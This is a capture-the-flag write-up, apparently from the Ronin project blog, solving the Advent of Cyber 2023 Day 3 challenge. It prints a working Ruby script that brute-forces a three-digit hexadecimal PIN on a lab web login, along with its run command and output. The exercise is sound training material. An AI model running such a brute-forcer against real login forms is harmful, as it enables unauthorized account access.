This year I decided to try using Ronin to solve the Advent of Cyber 2023 challenges. Let’s see how far I can get.

The Day 3 challenge involves a basic HTTP form which accepts a three digit PIN code. The PIN code can contain numeric or uppercase hexadecimal numbers. The instructions for the challenge recommends using the crunch utility to generate a wordlist file containing every three character combination of uppercase hexadecimal characters and then use hydra to bruteforce the login form. Instead, we’re going to do all of that in a single Ruby script using Ronin and it’s powerful libraries.

First, we will test the HTTP form by intentionally entering an incorrect PIN code and seeing what the response is. In the Network tab of Chrome DevTools, we can see a failed login attempt results in a HTTP 302 response with a Location header of error.php. Since we don’t know what a valid login HTTP response looks like, we will have to assume anything that is not a HTTP 302 redirect to error.php can be considered a successful login.

Next we will write a bruteforcing Ruby script which will send every possible three character combination of numbers and uppercase hexadecimal characters. To do that we will use the chars library, which provides a Chars::UPPERCASE_HEXADECIMAL constant containing the characters 0 - 9 and A - F. Then we will call the Chars::CharSet#strings_of_length method to generate every three character combination of uppercase hexadecimal characters. Then we will use ronin-support to establish a persistent HTTP connection and send login requestions until a non-HTTP 302 redirect response is returned.

require 'ronin/support'
require 'chars'

include Ronin::Support

wordlist = Chars::UPPERCASE_HEXADECIMAL.strings_of_length(3)

ip   = ARGV[0]
http = http_connect(ip,8000)

response       = http.get('/pin.php')
session_cookie = response['Set-Cookie']

wordlist.each do |pin|
  print_info "Trying #{pin} ..."
  response = http.post('/login.php', form_data: {pin: pin},
                                     cookie:    session_cookie)

  if response.code == '302' && response['Location'] == 'error.php'
    # login failed, keep trying ...
  else
    print_success "Jack Pot! #{pin}"
    exit 0
  end
end

Now to run the bruteforcing Ruby script against the target machine IP address. We will add the --jit option to try to speed up our Ruby script as much as possible.

$ ruby --jit bruteforce.rb 10.10.185.45

and eventually we will hit the correct PIN code:

...
[*] Trying 6F2 ...
[*] Trying 6F3 ...
[*] Trying 6F4 ...
[*] Trying 6F5 ...
[+] Jack Pot! 6F5

As you can see, Ronin provides you with powerful libraries that can make solving CTF challenges easy and fun.

If Ronin interests you or you like the work we do, consider donating to Ronin on GitHub, Patreon, or Open Collective so we can continue building high-quality free and Open Source security tools and Ruby libraries.